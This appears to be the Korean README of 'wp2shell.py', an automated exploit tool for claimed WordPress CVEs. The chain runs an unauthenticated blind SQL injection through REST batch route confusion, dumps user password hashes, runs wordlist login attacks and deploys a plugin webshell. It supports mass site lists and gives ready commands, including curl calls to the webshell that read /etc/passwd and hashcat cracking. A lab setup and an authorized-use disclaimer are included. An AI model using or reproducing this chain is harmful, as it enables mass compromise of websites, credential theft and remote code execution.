
CVE-2026-63030 / CVE-2026-60137 자동화된 익스플로잇 체인 — WordPress REST 배치 라우트 혼동(route-confusion)을 통한 인증되지 않은 블라인드 SQLi. 사용자 해시 덤프, 자격 증명 크래킹, 웹셸 배포를 수행합니다. 단일 대상 및 대량 사이트 목록을 지원합니다. 승인된 보안 테스트 전용입니다.
WordPress REST 배치 라우트 혼동 블라인드 SQL 인젝션 — 자동화된 익스플로잇 체인.
CVE-2026-63030 / CVE-2026-60137
| 영향 범위 | WordPress 6.9.0 – 6.9.4 및 7.0.0 – 7.0.1 |
| 수정 버전 | WordPress 6.9.5 / 7.0.2 |
| 취약 지점 | desync된 author_exclude 매개변수를 통한 author__not_in SQL |
| 인증 요구 | 없음 (비인증 SQLi) |
승인된 보안 테스트 전용입니다.
WordPress REST API 배치 엔드포인트(/wp-json/batch/v1)는 중첩된 배치 요청을 허용합니다. 이중 중첩 desync 페이로드가 내부 $matches / $validation 배열을 어긋나게 하여, 조작된 author_exclude 값을 삭제(sanitization) 없이 author__not_in SQL로 라우팅합니다. 이를 통해 인증 없이 블라인드 부울(boolean) + 타이밍 SQL 인젝션이 가능해집니다.
익스플로잇 체인 — 4단계:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
단일 대상
python wp2shell.py http://target.com
사이트 목록 (한 줄에 하나의 URL)
python wp2shell.py sites.txt
사이트 목록 + 사용자 정의 비밀번호 파일
python wp2shell.py sites.txt -p pass.txt
알려진 자격 증명 (워드리스트 건너뛰기)
python wp2shell.py http://target.com --user admin --password admin123
타이밍으로 SQLi 확인
python wp2shell.py http://target.com --confirm-sqli
pretty permalinks를 사용하지 않는 경우
python wp2shell.py http://target.com --rest-route
Burp 프록시 경유
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| 파일 | 내용 |
|---|---|
creds.txt | http://target=>user:pass (크랙된 경우 평문, 아닌 경우 해시) |
webshell.txt | 활성 웹셸 URL |
VULNERABLE.txt | 1단계에서 취약점이 확인된 모든 대상 |
모든 파일은 추가(append) 모드로 기록됩니다 — 실행할 때마다 결과가 누적됩니다.
웹셸 사용법 — webshell.txt의 URL에 ?cmd=COMMAND를 추가하세요:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
워드리스트가 맞지 않으면 creds.txt에 추출된 해시가 포함됩니다:
hashcat -m 400 creds.txt wordlist.txt
그런 다음 크랙된 비밀번호로 다시 실행하세요:
python wp2shell.py http://target.com --user admin --password <plaintext>
안전한 로컬 테스트를 위해 취약한 WordPress 7.0.1 인스턴스를 실행합니다.
최초 실행 — 볼륨 생성 및 WordPress 설치:
docker compose up -d db wordpress
docker compose run --rm wpcli
이후 실행:
docker compose up -d db wordpress
중지:
docker compose down
전체 초기화 (모든 데이터 삭제):
docker compose down -v
실습 환경에 익스플로잇 실행:
python wp2shell.py http://localhost:8080
WordPress 6.9.5 또는 7.0.2로 업데이트하세요. 이 수정은 중첩 요청을 디스패치하기 전에 배치 라우트를 검증하여 SQL 취약 지점을 노출하는 desync를 차단합니다.
직접 소유하거나 명시적인 서면 승인을 받은 시스템에서만 사용하세요. 무단 사용은 불법입니다.
| Flag | 기본값 | 설명 |
|---|
target | — | URL (http://target) 또는 사이트 목록 파일 경로 |
-p FILE | — | 비밀번호 목록 파일 (한 줄에 하나) |
--user | — | 워드리스트를 건너뛰고 이 사용자 이름 사용 |
--password | — | 워드리스트를 건너뛰고 이 비밀번호 사용 |
--confirm-sqli | off | 마커 확인 후 활성 SQL 타이밍 프로브 전송 |
--rest-route | off | /?rest_route=/batch/v1 사용 (pretty permalinks 불필요) |
--sleep N | 3.0 | SQL SLEEP() 지연 시간(초) |
--samples N | 3 | 중앙값 계산을 위한 타이밍 샘플 쌍 |
--timeout N | 30.0 | HTTP 요청 시간 제한 |
--prefix PREFIX | wp_ | 데이터베이스 테이블 접두사 |
--proxy URL | — | HTTP/HTTPS 프록시 |
| URL | http://localhost:8080 |
| 관리자 | admin / admin123 |
| MySQL 호스트 | db |
| MySQL 사용자/비밀번호 | wpuser / wppass |
| 데이터베이스 | wordpress |